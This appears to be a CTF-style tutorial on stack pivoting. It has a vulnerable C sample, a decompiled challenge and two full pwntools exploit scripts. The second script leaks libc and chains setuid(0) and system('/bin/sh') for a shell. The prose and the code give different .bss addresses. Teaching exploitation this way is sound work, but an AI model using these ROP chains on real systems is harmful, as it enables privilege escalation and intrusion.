# Stack Pivoting

### TLDR

Requirements

1. Somewhere to pivot to obviously (.bss, buffer on the stack)
2. Stack Pivoting Gadget - something that controls RSP
   1. `leave ret`
   2. `pop rsp`

What can you do with this?

* Gain more space for your ROP chain/Shellcode :smile:

### [Example 1](https://ir0nstone.gitbook.io/notes/binexp/stack/stack-pivoting/exploitation)

```c
// gcc source.c -o vuln -no-pie
#include <stdio.h>

void winner(int a, int b) {
    if(a == 0xdeadbeef && b == 0xdeadc0de) {
        puts("Great job!");
        return;
    }
    puts("Whelp, almost...?");
}

void vuln() {
    char buffer[0x60];
    printf("Try pivoting to: %p\n", buffer);
    fgets(buffer, 0x80, stdin);
}

int main() {
    vuln();
    return 0;
}
```

* `fgets` call means that there is a limited number of bytes we can overflow -> not enough for a rop chain
  * we also have a leak to start of buffer, but not enough to craft a full ROP chain
  * to pass in the right values to the `win` function, we need to pass the values into `rdi` and `rsi`
* Using stack pivot, we format our payload with a `pop rsp..;ret` gadget which will change the `rip` to the location we control (our buffer in this case), executing the rop chain stored in the buffer.

```
	       __ start of buffer, rsp	
| ROP CHAIN | 
| AAAAs     | - padding to reach RIP 
| _________ |
| rsp gadget|
| Buffer addr|
```

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225                   # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

payload += flat(
    POP_CHAIN,
    buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())
```

### Example 2

```cpp
void main(voids)
{
    puts("###");
    printf("### Welcome to %s!\n",(char *)*param_2);
    puts("###");
    putchar(10);
    FUN_004010e0(stdin,(char *)0x0,2,0);
    FUN_004010e0(stdout,(char *)0x0,2,1);
    challenge();
    puts("### Goodbye!");
    return 0;
}

void challenge(void)
{
    #Data points to 0x4040e0
    read(0,data + 65536,4096);
    memcpy(&stack0x00000000,data + 65536,0x18);
    puts("Leaving!");
    return;
}
```

1. The binary reads in 4096 bytes into `.bss` at `0x4040e0`, with the first 24 bytes (0x18) copied onto the stack via `memcpy`
   1. This gives us 3 gadgets worth of space to pivot to the address `0x4040e0`
   2. We can use a `leave ret` gadget to pivot to this address
2. `leave ret` gadget is essentially just this

```
mov rsp, rbp
pop rbp
```

3. If we have a `pop rbp` gadget, we can essentially control where the binary returns to (address of `.bss`)
4. This gives us ample space for our libc leak via `puts` as well as our ret2libc payload

```python
#!/usr/bin/env python3

from pwn import *
import time

exe = ELF("./redacted")
libc = ELF("./libc.so.6")
context.binary = exe
pop_rdi = 0x401663
ret = 0x40101a

def leak():
    puts_plt = exe.plt['puts']
    puts_got = exe.got['puts']
    challenge = exe.symbols['challenge']
    payload = b''
    payload += p64(ret)
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(ret)
    payload += p64(challenge)
    return payload
    
def main():
    #Leaking Libc base address via puts()
    address_of_bss = 0x414080 + 24
    leave_ret = 0x401545
    pop_rbp = 0x4011bd
    payload = b''
    payload += p64(pop_rbp)
    payload += p64(address_of_bss)
    payload += p64(leave_ret)
    payload += leak()
    
    p = process('./babyrop_level9.1_patched')
    
    p.clean()  # Clean up any previous input/output
    p.send(payload)
    p.recvuntil('Leaving!')
    p.recvline()
    
    #Processing puts() leak to get libc base address
    leaked_puts = p.recvline()
    leaked_puts = u64(leaked_puts[:-1].ljust(8, b'\x00'))
    libc.address = leaked_puts - libc.sym['puts']
    setuid_addr = libc.sym['setuid']
    system_addr = libc.sym['system']
    bin_sh_addr = next(libc.search(b'/bin/sh'))
    log.info(f"Base Libc address: {hex(libc.address)}")
    log.info(f"setuid address: {hex(setuid_addr)}")
    log.info(f"system address: {hex(system_addr)}")
    log.info(f"/bin/sh address: {hex(bin_sh_addr)}")

    # Attach debugger before sending payload
    # gdb.attach(p)
    print("Debugger attached. Sending payload...")
    # Writing Ret2LIBC payload ahead of my first leak payload 
    address_of_bss = 0x414080 + 120
    print(hex(address_of_bss))
    final_rop = p64(pop_rbp)
    final_rop += p64(address_of_bss)
    final_rop += p64(leave_ret)
    # Accounting for the first 3 gadgets 
    final_rop += b'A' * (104)
    final_rop += p64(pop_rdi)
    final_rop += p64(0)
    final_rop += p64(setuid_addr)
    final_rop += p64(ret)
    final_rop += p64(pop_rdi)
    final_rop += p64(bin_sh_addr)
    final_rop += p64(system_addr)
    p.clean()
    p.send(final_rop)
    p.recvuntil('Leaving!')
    # Interact with the process
    p.interactive()

if __name__ == "__main__":
    main()
```
